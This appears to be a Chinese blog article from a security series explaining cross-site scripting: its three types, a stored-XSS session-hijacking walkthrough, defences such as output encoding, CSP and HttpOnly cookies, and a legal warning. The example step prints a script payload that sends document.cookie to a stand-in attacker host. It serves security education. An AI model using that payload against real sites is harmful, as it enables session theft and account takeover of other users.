XSS跨站脚本攻击攻击案例拆解-网络安全系列

XSS(跨站脚本攻击)的核心原理一句话:攻击者把可执行脚本注入网页,让脚本在"受害者自己的浏览器、以该网站的身份"运行,从而绕过同源策略窃取本应只属于该网站的数据。下面我先用文字讲清机制和例子,再给你一张流程示意图。

三种类型(按注入与执行方式)

类型 注入方式 触发条件 危害范围
存储型(Stored) 脚本存入服务器数据库(评论区、昵称、留言板) 任何用户打开该页面即触发 最大,可批量感染所有访客
反射型(Reflected) 脚本藏在 URL 参数里,被服务器原样"反射"回页面 受害者点击攻击者构造的链接 单点触发,需诱导点击
DOM 型 不经过服务器,在浏览器端处理数据时拼接执行(如 innerHTML、location.hash) 受害者打开特定链接 单点触发,服务器日志难以察觉

举例:存储型 XSS 窃取登录态(教材级示意)

假设某论坛的评论区对用户输入不转义、原样展示:

  1. 攻击者在评论框提交一段看似普通、实则可执行的文本(典型教材示例,如 <script>new Image().src='[https://evil.example/c?='+document.cookie</script>](https://evil.example/c?='+document.cookie</script>),或利用 onerror 属性的 <img> 写法);
  2. 服务器不识别、不过滤,把它存进数据库;其他用户打开帖子时,浏览器把这段内容当作本站的合法代码执行;
  3. 脚本读取当前页面域下的 document.cookie(只要 Cookie 没设 HttpOnly),把会话凭证回传到攻击者的服务器;
  4. 攻击者拿到 Cookie 后即可"冒充"该用户登录(会话劫持 Session Hijacking),读取私信、订单、个人资料,甚至代发起转账、改密等操作。

除 Cookie 外,注入脚本还能窃取:CSRF Token (绕过转账/改密防护)、localStorage 里的令牌 、页面 DOM 内容 (页面上的敏感信息)、键盘输入 (记录密码)、剪贴板等。

为什么能做到"非法获取"

关键在权限错位:脚本运行在受害者的浏览器进程里,天然拥有当前网站的完整同源权限;而网站没有对"用户输入"和"自己的代码"做边界区分。攻击者甚至不需要攻破服务器,只借受害者的浏览器当"代理"即可。

防护要点(按阻断环节)

  • 输出编码/转义 (最有效):把 <、>、"、' 转义,用户内容永远按"文本"输出,而不是被浏览器解析为 HTML/JS;
  • 输入校验:白名单校验用户输入;
  • CSP 内容安全策略:禁止内联脚本、限制脚本来源域名;
  • Cookie 加固 :设置 HttpOnly(JS 读不到)+ Secure + SameSite;
  • DOM 安全操作 :用 textContent/createTextNode,避免用 innerHTML 拼接用户数据;
  • 使用成熟的 sanitizer 库(如 DOMPurify)清洗富文本。

⚠️ 法律提示:对他人网站 进行未授权的 XSS 测试、利用属违法行为(可能触及《刑法》第 285 条非法获取计算机信息系统数据罪等)。以上内容仅用于安全防御学习和自有系统的漏洞自查。

下面这张图把"注入 → 存储 → 执行 → 窃取 → 回传 → 冒用"的完整链路和可阻断点画了出来:

相关推荐
学逆向的10 小时前
win32远程线程
网络安全·api·win32
pencek11 小时前
MazeSec-113
网络安全
白猫不黑12 小时前
网络安全专业:从入门到进阶的完整学习路线
学习·安全·web安全·计算机·网络安全·信息安全·编程
菩提小狗13 小时前
每日安全情报报告 · 2026-10-07
网络安全·漏洞·cve·安全情报·每日安全
白猫不黑13 小时前
AI自动化漏洞挖掘从入门到进阶超详细学习路线
人工智能·学习·web安全·网络安全·信息安全·渗透测试·自动化
学逆向的14 小时前
远程线程注入
开发语言·jvm·网络安全·win32
在猴站学算法15 小时前
(实战)PHP文件包含漏洞
网络安全·php
pencek16 小时前
MazeSec-Loooower
网络安全
lisw051 天前
数字断点如何影响供应链——并危及全球经济?
网络安全·网络攻击模型·前沿领域
sbjdhjd1 天前
云安全 | Docker 容器逃逸复盘(二):2375 未授权接口如何突破容器管理边界
网络安全·docker·云原生·数据挖掘·开源·云计算·云安全